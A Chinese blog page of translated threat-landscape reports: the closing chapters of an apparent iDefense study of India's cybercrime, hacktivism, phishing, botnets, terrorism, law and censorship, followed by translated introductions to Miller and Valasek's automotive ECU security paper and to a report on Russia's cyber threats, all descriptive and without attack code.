随着计算机已经成为印度社会和生活中的重要组成部分,一个本土(北印度语“desi”,意味着土著的,原用来表示印度大陆的事物,即使是英语为母语的印度人)黑客产业在印度逐渐成形。印度黑客的一个重要特征就是大部分都使用英语。鉴于黑客的种族背景,除非是在临时的电子邮件和及时通讯中,否则他们不会使用印度语、泰米尔语、马拉地语或泰卢固语。自从英国殖民印度以来,英语已经变得至关重要,连接了印度不同的种族并成为了商业和高等教育中的主要语言。这一情形意味着印度黑客可以超越阿拉伯或中国黑客,更频繁的参与国际黑客论坛,通过分享知识促进关系增长并与全世界的黑客进行合作。因此,无论是本地的印度黑客还是更广泛意义上的全球的印度黑客,都存在于全球的英语黑客论坛中。

印度著名的黑客组织DigitalMafia(见图4-2,左),目前使用的网站是www.digitalmafia.in。基于网站的WHOIS信息,该组织的出现在孟买东南部60KM的内陆城市普纳。DigitalMafia的网站支持文件自由上传和功能链接分享(在图4-2的屏幕左上方可以看到),并且似乎与在普纳的巴蒂IT解决方案公司的网站托管和设计服务有关,但没有公告板信息或论坛能表明这些网站之间有关联。tn_hackers或者说泰米尔族黑客,是另一个印度的黑客组织,该组织在网络上可以看到一些踪迹,但并不是非常活跃。

 

India_GTRR 4.2

图4-2:DigitalMafia主站,印度本土知名黑客组织(左),附属于IT服务公司Bharti IT Solutions的网站。(右)

印度很多黑客创建IT安全博客,例如“Rahul The Desi Hacker”(见图4-3),他们在desihacker.blgspot.com发布黑掉的带有印度电影、音乐和软件等资源的下载网站账户信息。另一个类似的网站hungryhackers.blogspot.com是一个计算机工程学生Ashik Ratnani在负责的。

 

India_GTRR 4.3

图4-3:黑客网站“Rahul The Desi Hacker”的截图

4.2、黑客主义

就像其邻国和一些宗教团体一样,例如中东地区,在印度,同样有许多政治动机的黑客行为。这些黑客行为常常发生在印度黑客和关系紧张的巴基斯坦等国的黑客战争之中。尤其是当印度和巴基斯坦在真实世界中的政治关系变紧张时,来自两个国家的黑客就会通过更加激烈的篡改对方网站等攻击方式做出响应(见图4-4)。彩色的政治篡改信息覆盖了印度和巴基斯坦的政府网站,有时候,活动会导致网站的短时失效,但是实质性的持续破坏还未有所闻。

 

India_GTRR 4.4

图4-4:印度黑客(左)和巴基斯坦黑客(右)的破坏性攻击

巴基斯坦不是唯一一个与印度时有冲突的邻国。例如,在2008年中,印度政府官方谴责了中国黑客组织在中国政府的赞助和支持下,“在过去的18个月中系统性的攻击了国家服务”。

印度南部的一个邦叫做泰米尔纳德邦,与其名字相符,该邦的居民大部分是泰米尔人,这个种族与印度北方的人种有很大区别。泰米尔纳德邦的居民与斯里兰卡泰米尔人有密切关系,斯里兰卡泰米尔人就是在过去两个世纪在斯里兰卡被英国的种茶者雇佣来运营茶种植园的人,也是印度泰米尔人的祖先。在二十世纪时,为了斯里兰卡泰米尔人能够在北部斯里兰卡独立,泰米尔·伊拉姆猛虎解放组织发动了充满血腥的针对斯里兰卡政府的独立战争。由于这些原因,也导致了斯里兰卡和印度多年的紧张关系。印度的泰米尔族黑客在过去多年还提供了他们的专业技术给猛虎解放组织,据报道,在2007年,猛虎组织的专业黑客攻击了国际通讯卫星并且利用它散步了组织的信息和宣传材料。斯里兰卡军队在2009年击败了猛虎组织。

然而,篡改攻击在印度的网络安全环境中已然成为了一种约定俗成的模式。根据CERT-In的消息,与2008年同期相比,在2009年二月到十月,在诸如“.com”和“.in”等通用域名下的印度网站篡改攻击事件同比增长了14%,达到了5239次(见图4-5)。黑客在2009年十月一个月就篡改了1118个网站,而在2009年8月这一数据还是692个,在2008年9月只有503个。

India_GTRR 4.5

图4-5 印度CERT展示了印度网站被篡改数量急剧增长,按顶级域名划分

像中国和俄罗斯一样,印度也有一部分民族主义黑客。为了回应最近的针对澳大利亚(像在美国和英国一样,这里存在一个印度社区)印度移民和留学生的敌意行为,一名叫Atul Dwivedi的印度黑客篡改了澳大利亚皇家空军的网站并留下信息警告澳大利亚政府停止针对印度学生的种族主义攻击。尽管这个篡改并没有对皇家空军的网站造成严重的威胁,但是由于印度黑客的攻击行为导致的政治尴尬,使得在当周印度和澳大利亚在外交上关于针对在澳大利亚的印度留学生的一大批种族主义攻击变得非常紧张。

4.3、盗版

作为一个亚洲国家,软件和数字媒体的盗版在印度十分猖獗(见图4-6)大约69%使用的程序是盗版。尽管如此,根据商业软件联盟公司的一项全球软件盗版研究,在印度的盗版使用率依旧降低了,但是主流软件公司比如Adobe Systems、Microsoft和Autodesk 仍然损失了大概27亿美元。

 

India_GTRR 4.6

图4-6:印度最受欢迎的两家软件和媒体盗版网站

同时,印度文件分享论坛和种子追踪网站都有增长。这些论坛和网站提供最新的软件并为印度观众分享了迄今为止规模最大的盗版音乐和电影。

4.4、内部威胁

有两种问题使得内部威胁成为了印度一个重要的安全影响因素,一是内部的有策划的恶意行为,二是无意的意外内部威胁。意外的内部威胁在印度是一个重要的风险,因为即使是有平均教育水平的人,甚至一些受到高等教育的人,也很有可能普遍缺乏信息安全意识和对信息安全的关注。例如,有些本地员工可能毫无意识的与其他员工或外部的朋友分享公司的电脑系统的登录认证信息。缺乏信息安全意识也可能会从音乐网站下载到被恶意侵染的个人文件,或者木马通过入侵员工正在进行的即时通讯而威胁到公司的电脑系统。

同时,内部蓄意的攻击在印度也时有发生。尤其是对于一些规模较大的拥有大量跨国公司敏感信息的印度外包公司。尽管印度政府近来已经在强调加强网络犯罪方面的立法行为,但实际上,这些案件对印度的法律系统产生了严重的负担(参见“污腐败和法律障碍”)。审讯一个公司宣称的内部威胁活动和不会帮助破案的被告可能会花上几年时间。

因此,无论是对于一个外包类型的印度公司或其他公司,都非常有必要执行严格的审查和监督机制来监管公司的活动,并持续跟踪他们收到的信息和信息所有者。尽管给一个印度外包公司常规的外包信息不太会带来特殊的威胁,但是iDefense仍然不建议外包任何有大量敏感信息的部分,更不用说最敏感信息。同时公司也应该对外包过程保持持续监管和现场监督。

4.5、数据偷窃

数据偷窃的风险因素和内部威胁现象的类似,所以前文所提到的也同样适用于印度的数据偷窃问题上。同时,为了帮助缓解印度的数据安全问题,印度最被认可和知名的信息软件和服务交易组织——国家软件和服务公司协会(NASSCOM)对服务提供商员工采取了以下若干措施来解决数据安全问题:

  • 印度的公司通过使用国家信息专业人员技能注册系统来管理员工的背景信息,例如可以通过该系统来追踪员工的雇佣历史。

  • 计划建立一个独立的自主管理的组织来设置和监控数据安全和隐私是对印度外包服务提供者的“最优方法”。服务提供者正在逐渐适应合规计划和全方位的安全审计(包括人员和设备审计),来避免敏感信息和数据的滥用。承诺项目包括培训员工以加强其保密意识,培训电脑系统管理员关于安全电脑系统,常见信息安全威胁,访问控制技术,风险评估和管理,入侵检测,认证和其他类似的项目。

同时,印度政府采取了多种手段提高数据安全标准。在2009年初,政府寻求电信运营商、软件开发者和互联网服务提供商为在线银行交易等敏感信息传输设计管理条例并提升加密标准的等级。然而,即使政府尝试将加密标准从现有的40位变为128位,直至最后变为欧美的256位标准,但在2008年,政府还强制国家的互联网提供商降低加密标准到40位。这里的理由是印度的安全机构缺乏监控网络上加密标准高于40位的数据传递的技术手段。许多行业的专家认为较低的数据加密标准是导致印度的网络交易较少的原因。这一加密问题源起2008年初,当时的通信部门威胁要禁止加拿大的RIM(黑莓)公司,因为其生产的手机设备使用256位的高级加密标准而受到商务人士的喜爱,而通信部门要求RIM公司降低其数据安全标准到40位加密标准使得印度的安全机构可以进行窃听工作。

4.6、数据丢失与服务中断

像世界其他地区一样,在印度,数据丢失和服务中断的可能性与所在的地域有很大关系。当然,在更偏远的乡村,电力供应、互联网连接和其他信息和通信技术准备不充分的地区,这一问题会带来更大的威胁。多数情况下,活跃的连接主要集中在印度的大量外包产业部署的主要大都市和像班加罗尔这样的信息产业中心,服务中断这样的问题少到难以造成影响。

4.7、网络钓鱼

根据CET-In统计,网络钓鱼在印度是一项大规模的网络安全问题。就像其他国家一样,银行部分是最容易被列为钓鱼攻击对象的(见表4-7,左),对银行和其他品牌的一些钓鱼攻击也是来自于印度的(例如印度银行、工业和服务业)(见图4-7,右)。

 

India_GTRR 4.7

图4-7:钓鱼攻击目标(左);2009年印度钓鱼网站攻击的商业品牌来源国(右)

根据CERT-In的报告,2008年平均有47个运行中的钓鱼网站,而2008年九月这一数量达到了86个。这很可能是由于期间众多印度胡里节,例如从2009年9月19日开始的连续10天的九夜节造成的。大量的在线礼物购买,尤其是印度大量成长中的中产阶级普遍拥有了个人电脑,使得他们成为了钓鱼网站的重要目标。

 

India_GTRR 4.8

图4-8:印度从2008年3月到2009年3月钓鱼网站的数量变化

4.8、银行卡、ATM犯罪和银行诈骗

India_GTRR 4.9信用卡欺诈在印度也是一个增长迅速的问题,根据孟买网络犯罪警察的统计,2009年十月,孟买登记的网络犯罪案件数第一次超过了例如谋杀、强奸和抢劫等真实犯罪的案件数。超过1062起网络犯罪案件投给了孟买警察网络犯罪调查室和刚成立4个月的位于Bandra-Kurla Complex的网络警察局。这一数字包括了城市中所有种类的犯罪类型包括谋杀强奸和其他物理犯罪。网络犯罪案件从2005年的142,2006年的159起,2007年的344起到2008年的775起。此外,犯罪警察理事Deven Bharati认为网络犯罪的兴起是因为罪犯会认为通过网络犯罪会比进入家庭或办公室更加容易。印度互联网专家Vijay Mukhi则认为网络犯罪率的提升与印度法律对网络犯罪管理不严有关。另一项统计表明了信用卡诈骗的增长原因,印度第二大银行ICICI在2009年三月报告称,在2008年因为8280起信用卡诈骗案件导致了1.1亿(240万美元)的损失。

4.9、僵尸网络

CERT-In的统计同样也证实了有大量的僵尸网络的C&C服务器在印度(见图4-9)。其中大部分的僵尸网络要比西方、俄罗斯或中国的规模要小,平均每个网络不超过一千台感染机器。2009年11月,CERT-In在印度追踪到18个僵尸网络的C&C服务器和49759台感染的机器。

4.10、恶意代码

根据CERT-In的最新有效统计,市民在2009年11月共提交了787个电脑安全事件到CERT-In。这其中有28%包含了恶意代码(例如病毒和蠕虫)。

4.11、恐怖主义和政治暴力

在印度有许多的威胁,尽管大部分是来自真实世界的,但是有一些网络环境下的问题或者是有潜在的对印度网络环境造成影响的威胁。这其中最重要的就是恐怖主义和政治暴力,尽管印度政府致力于与暴力极端主义作斗争,但是过时和过劳的执法机构以及法律体系妨碍了印度政府的反恐怖主义效果。在最近的孟买恐怖袭击时,印度议会提出了重建反恐法律法规的议案并提议组建新的反恐机构NIA以调查和控告恐怖活动。除了孟买的恐怖袭击(现在在印度用“26/1”1表示此事),还有许多被目击的未公开事件,例如下列2008年的典型事件:

  • 5月13日,在斋浦尔的印度寺庙里发生了系列爆炸案,该爆炸案导致至少60人死亡和150人受伤。

  • 6月29日,在Orissa邦东部的马尔坎基里区,毛派叛乱分子袭击并杀死33名安全部队成员。

  • 7月25日,恐怖分子在班加罗尔的商业和工业区域制造了系列爆炸案,爆炸案造成至少1人死亡和8人受伤。

  • 7月26日,在古吉拉特首府甘地讷格尔,21个爆炸装置杀死了54人并导致至少156人受伤。这些爆炸发生在市场,公交和其他车辆上,在医院还有正在接受治疗的第一次系列爆炸案伤员。

  • 9月13日,恐怖分子在新德里的集市等人口密集区域引爆了一系列炸弹,导致至少20人死亡和超过80人受伤。

  • 10月30日,在阿萨姆邦东北地区,恐怖分子引爆了9个炸弹,杀死了约110人。

印度东部很早以来就存在毛派极端主义和分裂分子对国家法令和控制、管理结构和统治阶级的挑战。在2008年,印度东部发生了50起恐怖袭击并导致约500人死亡。同时,美国的国家反恐中心事件跟踪系统报告了从2004年1月1日到2009年3月31日在印度共发生了4612起恐怖事件。

下列项目由印度政府发布,暗示有着纯粹的历史政治暴力的恐怖组织。除了东印度的分裂组织(靠近孟加拉国的阿萨姆邦有很多类似活动),还有各种共产主义好战组织,锡克教的分裂主义组织和印度教以及伊斯兰教的极端组织,后来的很多组织都有跨国关系,例如和巴基斯坦(如虔诚军),或者和中东及世界其他国家(如基地组织)。

  • United Liberation Front of Assam (ULFA) 

  • National Democratic Front of Bodoland (NDFB) in Assam

  • People’s Liberation Army (PLA)

  • United National Liberation Front ( UNLF ) 

  • Kangleipak Communist Party (KCP) 

  • Manipur People’s Liberation Front ( MPLF ) 

  • Revolutionary People’s Front (RPF ) in Manipur

  • All Tripura Tiger Force (ATTF)

  • National Liberation Front of Tripura (NLFT ) in Tripura

  • Achik National Volunteer Council ( ANVC ) in Meghalaya

  • Babbar Khalsa International

  • Khalistan Commando Force

  • nternational Sikh Youth Federation

  • Lashkar-E-Taiba/Pasban-E-Ahle Hadis

  • Jaish-E-Mohammed/Tahrik-E-Furqan

  • Harakat-Ul-Mujahideen

  • Harakat-Ul-Ansar

  • Harakat-Ul-Jehad-Ul-Islami

  • Hizb-Ul-Mujahideen

  • Pir Panjal Regiment

  • Al-Umar-Mujahideen

  • Jammu And Kashmir Islamic Front

  • Liberation Tigers of Tamil Eelam (LTTE)

  • Students Islamic Movement Of India

  • Deendar Anjuman

  • Communist Party of India (Marxist-Leninist)-People’s War,  All Its Formations And Front Organisations 

  • Maoist Communist Centre (MCC), All Its Formations And Front Organizations

  • Al Badr 

  • Jamiat-Ul-Mujahidin 

  • Al-Qaida 

  • Dukhtaran-E-Millat (DEM) 

  • Tamil Nadu Liberation Army (TNLA) 

  • Tamil National Retrieval Troops (TNRT) 

  • Akhil Bharat Nepali Ekta Samaj (ABNES) 

尽管最近的26/11孟买袭击事件严格意义上说是“真实世界”的恐怖活动,并没有对印度的信息基础设施进行攻击,但是攻击人员在行动过程中的确使用到了卫星手机和全球定位系统(GPS)。恐怖分子也攻击了Wi-Fi系统以在对阿默达巴德和德里攻击后的余波中进行恐怖邮件的传播。

按照CERT-In提供的追踪信息,在2005年2月到2008年1月,印度政府网站收到了很多攻击。这些攻击并不是毫无联系的业余黑客的自发行为,而更像是某种针对印度政府网站的有组织的协作良好的攻击行为。

4.12、贪污腐败和法律障碍

贪污腐败和法律障碍是“真实世界”中的威胁,但是的确会影响到国家的在线商业活动行为。印度是2005年十二月生效的联合国反腐败公约签约国。在2004年,印度当选十大最腐败的国家之一,从0分(最腐败)到10分(最清廉),印度得分2.9,位列150个国家的第88位,与加蓬、马里、马尔代夫、坦桑尼亚和伊朗并列。国际透明组织发布的印度2005年贪污腐败调查中显示,平民为了他们本应免费享受的公共服务而贿赂。警察被认为是印度贪污腐败最多的政府部门。各种调查表明腐败的政治家、警察和罪犯以及高级军官之间互相勾结。

中央调查局2005年进行的突击检查,在54个城市的198个地方捕获了70位贪污腐败的官员。同时,阿萨姆邦被排名为印度最腐败的邦,其后是卡纳塔克邦、拉贾斯坦邦、恰尔康得邦、哈里亚纳邦、泰米尔纳德邦和比哈尔邦。

根据国际透明组织最近的年度报告,印度的警察收受贿赂的现象非常严重。至于人权问题就是另一回事了。人权观察组织在2009年八月的报告“破损的系统:印度警察职权滥用和不受监管”中提到,印度警察通过“收受贿赂、武断的逮捕,非法拘留和虐待罪犯以及私自执行私刑”等各种行为贪污腐败。

为了阐明这些问题的源头,人权观察组织报告表示印度的警察必须在恶劣的环境下工作,缺少必须的设备以及持续的“沉重的”工作负担,是联合国建议的日常警察工作量的两倍。因为印度警察的工资水平很低,有较强能力的人不会在警察局通过贪污腐败获得,而会到提供了更好条件的私人企业(例如当律师或者在金融机构调查和保证印度网络安全和网络安全法律的管理)。

印度的立法进程也是以迟缓出名,等待了多年的政府决策,只有当恐怖分子袭击了孟买之后,印度议会才终于通过了2008年的IT法案修正案。早在很久以前就有抱怨应该对恐怖主义进行规定,一直到新的修正案通过才做出了这样一个规定。迄今为止,印度还没有签署或批准欧洲网络犯罪公约,甚至没有展示任何这方面的动向,而在2008年针对IT法案的的修正案正表明了对该类公约的要求。

通常来说,由于可用资源的质量问题,警察和国家安全资源处理网络犯罪和网络安全时是难以达到,防御或者保密的。尽管从新闻中获取一些零碎信息是可能的,但是从电视、报纸和网络获取的信息要保留意见。

作为殖民地规则的遗物,印度的法律体系是从英国的体系中衍生而得的。有很多的国际法律学校和私人机构教授法律和法律相关的课程,然而,在2009年8月16日,印度有着全世界积压最多的案件。根据官方统计,2009年八月全国低级别的法院积压了约两千六百四十万件案件,而高等级法院积压了月三百八十万件案件。最高法院2009年7月有超过五万件积压的案件。有些推迟可能是因为高级法院的法官空缺,而在低级法院,这一空缺可能达到了20%到25%(约3000个空岗)。

4.13、法律环境

在印度,下述几个政府机构负责网络犯罪调查,网络安全调查和网络恐怖主义调查:

  • 印度国家犯罪统计局(NCRB)

  • 印度中央调查局(CBI)

  • 网络警察组

中央调查局在2000年设置了“网络犯罪研究和发展单位”(CCRDU)和网络犯罪调查小组(CCIC)来收集国家不同部门的网络犯罪信息。设置这些机构是为了调查网络犯罪,保持网络安全,并实现IT法案和印度刑法涉及到的网络犯罪条款。国家犯罪统计局提供了像CCIS&警用软件、网络&电子安全思想、计算机中心管理等训练课程。这些政府机构与IT公司、律师和教育工作者合作带给印度最新的网络世界并监管网络犯罪。

印度CERT在调查和保护印度网络方面起到了重要作用,它致力于提供一个切入点来报道当地的问题,帮助普通的计算机团体预防和处理计算机安全事件,通过分享CERTs的信息和课程,以及引导追踪事件。其在解决安全知道方面有着很大的前瞻性,并在网络入侵方面成为了国家的知识储备库和参考机构。

IT法案2000是印度对于网络领域电子商务管理和保护的第一次尝试。然而,一些印度政治家批评这一立法是无效的并暗示了对罪犯的软弱。根据一个专家团队的建议,在2003年1月6日发布了针对IT法的重要的修正案。

但是,这一修正案并没有将该法令的主要漏洞进行有效的修补。随后,IT修正案提案在2008年产生,并于2009年1月5日通过总统审核。然而,政治家坚持批判这一修正案是对罪犯的软弱。

鉴于IT法的一些关于网络钓鱼和垃圾邮件的定义存在漏洞,德里高级法院在Tata Sons Ltd. V. Amit Kumar的案件中,通过了一项关于限制印度的主要通信服务商VSNL散发大量未经允许的邮件的决议。由于缺乏关于反垃圾邮件的法案,法庭只能借用入侵法案来控告这一罪行。

IT法在抑制网络恐怖主义方面也是无效的,孟买网络小组只办理了屈指可数的案例。

IT法还有一项没有解决的问题就是网络犯罪的权限。因此,警察经常在追踪网络犯罪时无法跟踪电子轨迹。IT法和其修正案在处理网络犯罪和其相关问题时有很多无效的条款,对于印度的个人和商业互动也没有能提供一个安全的环境。

在印度的少数几个邦如马哈拉施特拉、 喀拉拉邦、 卡纳塔克、 泰米尔纳德邦、 昌迪加尔、 北方邦和德里有当地警察设立的网络犯罪小组。报告的最多的犯罪是黑客行为、散布色情邮件、扭曲社交网站、发送淫秽短信和邮件、来自非洲国家的网络欺骗和网络追踪等。孟买网络小组是最活跃的一个,他协助谷歌封锁了在Orkut上包含“诽谤或煽动性内容”的论坛和社区,并且提供了制造上述内容地的IP地址。在喀拉拉邦的高科技犯罪调查小组(HTCEC)与eBay和Orkut合作来检查网络辱骂行为。该小组还关注恐怖主义相关的在线活动。该小组一次独立行动成功的逮捕了一名在昌迪加尔发布欺诈邮件的尼日利亚人。

网络犯罪小组中这些成功的案例是非常少的。这仅仅是刚开始,由于对网络犯罪意识的缺乏和相关法律规定的确实,他们还缺少对于正在猖狂发展的网络犯罪有效的遏制能力,

大多数网络犯罪小组都对其警官提供了一些法律和实际上的训练。德里的网络犯罪小组与德里的IP大学合作建立训练项目,该项目已经对超过100名警官进行了网络犯罪相关的训练并将他们分配到警察局的经济犯罪部门。同时,在加济阿巴德的CBI的训练研究院为网络犯罪小组警官提供训练,而只有研究院的成员才能知道训练项目详细具体的保密信息。

政府成立的旨在帮助其成员减少计算机安全威胁的CERT-In组织同样提供训练他们为网络犯罪小组的警察提供了专门的法律训练。CERT-In同样为法院的检察官提供了专门的关于计算机调查取证方面的训练,该训练的详细信息同样是保密的。

IT法说明了计算机病毒攻击未经允许的计算机或计算机网络造成的损害最多赔偿一千万卢比(216000美元)。该法案只是提供了民事补偿而不考虑刑事责任。IT法第43和66条规定了软件盗版是一种罪行,根据第43条规定最多惩罚一千万卢比(216000美元),而根据第66条规定最多可能导致三年监禁和最多二十万卢比(4300美元)。印度的司法部门也采取坚定的立场反对软件盗版。德里高级法院在微软公司对康普顿电脑的盗版软件贩卖案件中裁定了记录中最高的236万2000卢比(51000美元)罚款。印度大多数邦都建立了反盗版小组以预防和控制大规模的软件盗版问题。

然而,印度还没有关于电子邮件隐私和电子监控活动的法律。这就取决于公司是否制定了相关的规定和处罚机制。根据公司的政策,大多数公司与员工都会签订保密协议。

2000IT法规定了与数据保护相关的条例。2006年,立法委员会引进了“个人数据保护法案”以保护个人信息的安全。IT法第43条规定未授权入侵计算机系统最多可处罚一千万卢比(216000美元)。对未授权数据的下载、提取和拷贝也有这样的处罚。条款c规定了未授权的计算机病毒植入处罚,条款g规定了辅助未授权入侵行为的处罚。

第72条对违反保密协议和侵犯数据隐私行为提供了保护。在IT法和联盟规定中,任何人通过安全渠道将电子记录、书籍、账户、通信、其他信息文档泄露给其他人的,最高可处以2年监禁或十万卢比(2100美元)或两者都有。

如今大多数公司依靠合同法作为有效保护他们信息的方法,并与其他公司、客户、机构和合作伙伴签署“非规避和保密”协议、“用户许可”协议、“推荐合作伙伴”协议等来保障保密和隐私问题,并在发生争执作为有效的仲裁办法。

印度没有规定保护公司数据安全的法律,所以大多数公司都有他们自己的数据保护政策,并与其客户和员工签署协议来保护他们的数据安全。

4.14、审查和政府干预

尽管印度政府很少过滤互联网内容,但是在2010年后,尤其是在孟买恐怖袭击之后,其监控通讯的能力一定得到了扩张。在接下来的一年中,按照2008IT法修正案,政府将建立一个集中的监管系统,届时印度警察和政府机构将很快得到使用新的监控系统的使用权限。至于审查制度的问题,印度宪法表明了言论自由,但是由于诸如“公共秩序、礼仪或道德”等原因,仍然存在一个“合理限制”的灰色地带。潜在的限制范围是非常广的,但是实际上过滤的互联网内容主要集中在政府认为威胁到国家安全方面的,例如存在分裂主义或恐怖主义内容的论坛。执行这些限制的目标主要集中在过滤政府认为可能引起暴乱或社会动荡的内容上。

按照认定的互联网内容过滤流程,由电信管理局(TRAI)和政府其他机构来认定不正当的内容或用户,由电信部(DOT)要求ISPs按照条例规定封锁相关内容或某个用户。此外,CERT-In有权关闭政府认为隐晦或者存在国家安全威胁的网站。尽管CERT-In、DOT和TRAI在哪些内容应该被禁止方面起决定作用,但是他们大都依赖于ISP而不是内容的作者来实施禁止的命令。政府依赖于ISP执行官方的禁止命令,然而众多ISP对于政府要求过滤的响应也不尽相同。因此,网络内容很可能可以通过某一ISP而被另一个所禁止,而且鉴于ISP的封锁机制和等级的不同,合法的内容也可能被按照审核机制过滤掉。然而,未来政府依靠ISP去执行过滤政策的现象会逐渐减少。在2007年,DOT宣布他们考虑在印度的网络关口执行内容过滤行为,尽管这个计划在两年前就已经提出,但是经开放网络促进会测试表明DOT还没有实施这一措施并且还在依靠ISP过滤内容。

尽管网络内容过滤大部分依旧是在ISP级别进行的,但是印度政府也在号召各个互联网公司消灭那些政府认为有潜在的引起公众恐慌和动乱的不良网络内容。例如,自从谷歌在印度运营以来,已经配合政府拿下了很多例不良的影响国家安全的内容。尽管商业激励措施可以促使很多国外的公司配合政府执行内容过滤要求,但还是要有法律规定才行。最近的一项刑法修正案规定不配合官方屏蔽或删除违规内容的人可能面临罚款甚至最高7年的监禁。同时,政府由于国家安全目的执行的网络过滤措施对于合法的网络内容造成了负面影响。在2003年,印度政府要求当地ISP封锁雅虎的一个关于Hynniewtrep民族解放委员会(国内一个小型的分裂组织)的讨论组。尽管政府是要求封锁单独的一个极端分子讨论组,但是ISP无法封锁一个单独的小组。所以他们封锁了这个小组涉及的IP地址,妨碍了几乎所有印度的雅虎小组访问途径。在2006年孟买恐怖袭击事件之后,还发生了一个类似的事件。政府要求封锁大概20个极端网站,但是ISP封锁了进入著名博客网站Blogspot的渠道。

印度政府为了监控和情报活动,在接下来一年计划推出全新的强有力的集中监控系统(CSM)用来随时监听手机、固定线路和网络通讯。政府现在的监控和情报系统在锁定目标的几个过程中都需要认为的干预,这妨碍了情报收集的效率并使得系统容易受到攻击。印度官方希望通过部署CMS系统解决这一问题,并声称将在2010年进行测试的新系统将极大的提高情报部门锁定和监控的过程。

由于印度的情报部门升级了其监控措施,国家的监控能力将在颁布2008IT法修正案后得到扩展。撰写本报告时,相关法令的建立正处于最后一个阶段,并很可能将在2010年生效。立法者和警察期望IT法将通过更方便的授权等方式促进他们在进行调查和情报收集时更加的便利。这包括要求ISP、电信运营商和其他服务提供商提供用户个人信息的权利。此外,法令还要求ISP、电信商和银行等拥有第三方数据的的公司接受合理的安全演习,如果他们拒绝接受则可能面临大量的罚款。然而,法令没有规定服务提供商对在他们的网络上进行的违规内容或恶意活动进行响应,但是要求他们在收到当局的要求后两小时内进行封锁或删除。

五、结论

印度曾经是世界上主要的新兴经济体,而现在在很多方面也处于经济发展当中,它并没有很完善的安全保护措施和特点,这些可能在其他发展中国家也能看到。最重要的安全措施和特点可能包括了长期过载以至于案件往往在开庭前就超期几年更不用说结案的印度法律体制。尽管这首先可以看作是一个抽象的长远的问题,但这是外国公司在印度运营的潜在的重要决定因素,与其是否外包,是否运营公司等其他因素无关。网络安全问题,比如内部威胁、数据盗窃、信用卡盗用或网络间谍行为,可能导致上文提到的复杂的花费几年都无法结案的案件。对于任何打算要在印度运作的公司,必须尽职的进行调查并对可能出现的问题有全面的认识。像银行这样的单位绝对需要保证其在印度的敏感信息保持安全,因此,全天候现场人与人的监督和管理是必不可缺的。

(全文完)

汽车网络和控制单元安全威胁研究

$
0
0

原文:《Adventures in Automotive Networks and Control Units》 By Dr.Charlie Miller & Chris Valasek

翻译:孙希栋 & 做个好人

*原文共101页,译文亦长达124页,故本文仅贴出摘要及第一章,文末附原报告及译稿文档下载。由于译者水平有限,译文或有翻译不当之处,欢迎各位指正。

摘要

我们之前的研究表明,攻击者可以通过诸如蓝牙接口和车载信息系统单元等各种接口在汽车的电子控制单元(ECU)中进行远程代码执行。这篇报告旨在展开描述基于这种攻击思路和攻击类型的攻击者能够对汽车行为造成什么样的影响。特别是,我们将展示通过两台汽车在某些情况下怎样控制汽车转向、制动、油门和电子显示。我们也对这些类型的攻击检测提供了建议。在这篇报告中我们发布了所有用来重现和理解相关问题需要的技术信息,包括源代码和必要的硬件描述。

一、简介

汽车早已不仅仅是机械设备,今天的汽车所包含的许多不同的电子组件构成的一个整体网络负责监视和控制交通工具的状态,从防抱死制动模块到指令集群再到车载信息系统模块,每一个组件都能够和相邻的组件进行通讯。现代汽车总共包含至少50个以上网络化电子控制单元(ECUs),交通工具的整体安全即依赖于这些几近于实时通讯的各种不同的ECU,在它们相互之间进行通讯时,ECU负责预警撞车、检测刹车、完成防抱死制动等等。

当电子化网络组件被添加到任何设备,这些设备上代码运行的鲁棒性和可靠性问题便会随之增加。当考虑到人身安全问题,结合汽车的环境,代码可靠性就显得尤为重要和关切。在典型的计算环境中,例如一台笔记本电脑,很容易写一些脚本或应用程序监视和调整电脑运行的方式。然而,在高度计算机化的汽车中,没有一种简单的方式可以写应用程序去胜任监视或控制不同嵌入式系统的任务。驾驶员和乘客完全是得幸于在他们汽车上所运行的代码,不像当他们的网页浏览器崩溃或受感染,汽车对于他们的人身安全的威胁是实实在在的。

一些学术派的研究员,尤其是来自华盛顿大学和加州圣地亚哥大学[http://www.autosec.org/publications.html]的研究显示,在汽车一些组件中驻留代码进行控制诸如电子显示、车门锁和汽车制动等关键系统是有可能的。此外,他们的研究还显示,攻击者可以通过物理接触甚至通过远程蓝牙或者车载信息系统单元进行恶意代码注入。他们所展示的不仅有电子化汽车系统意外失败的真实威胁,甚至还有恶意代码行为影响汽车系统安全性的威胁。但是他们没有发布任何代码或工具,事实上,他们连自己所研究的汽车模块都没有透露。

除了讨论新型的攻击,这篇报告的目的还在于用公开、透明的方式为安全研究人员提供汽车系统的访问能力。当前,没有一种简易的方式可以写自定制软件对现代汽车的ECU进行监视和交互。攻击的风险是切实存在的,但是对于研究人员来说没有一种方式对汽车系统进行监视和交互真是令人沮丧。这篇报告正是提供了一种针对汽车系统且允许进行这类工具构成的框架,而且能够在两种现代汽车上进行演示,该框架能够让研究人员用具体的方式展示针对汽车系统的威胁,并且能够写出监视和控制程序用来减轻这种威胁。

我们所说的框架结构是针对后续提到的两款汽车的,也是这次研究的关键。我们所讨论的应用是基于带有停车辅助和其他技术附件的丰田普锐斯(Prius)和福特翼虎(Escape)(均是2010款)。与早期研究不同,这些技术附加产品能够让我们的框架不仅能访问制动和显示层面的系统,而且还能访问转向系统。我们选择了两台汽车达到我们通用研究的目的,同时也尽可能的说明不同汽车的不同之处。希望我们使用的所有数据和工具的发布能够让其他研究人员对研究结果进行轻易地重现(和详细描述)。


原稿全文下载:《Adventures in Automotive Networks and Control Units

译稿全文下载:汽车网络和控制单元的安全威胁研究

(全文完)


俄罗斯网络威胁概览

$
0
0

原文:《The Cyber Threat Landscape of the Russian Federation》(2010年7月21日)

翻译:lgt945

*译文长达近三万字,故本文仅贴出前两章,应iDefense要求,我们不再提供原版报告下载。由于译者水平有限,译文或有翻译不当之处,欢迎各位指正。

一、摘要

与中国和美国不同,俄罗斯(见图1-1)是世界上发生恶意网络活动和网络犯罪行为最多的国家,而这主要是由于其IT产业爆炸式的增长以及一定程度上俄罗斯政府的主导导致的。基本上每种经济网络犯罪和政治网络攻击都会在俄罗斯发生,本报告对这两种行为进行了详细的描述。

俄罗斯的地理条件、社会经济环境、杂乱的历史和严厉的政策等因素使得这里产生了一个了网络犯罪的平台。优秀的教育环境使得俄罗斯大量有高科技思想的人工作在远低于他们能力的位置上。犯罪文化的流行和人情变得冷漠,甚至年轻的俄罗斯政府的腐败,都导致许多人进入了这个很容易从西方公司和私人个体获取名声和金钱的地下犯罪环境中来。

图1-1

图1-1:俄罗斯地图

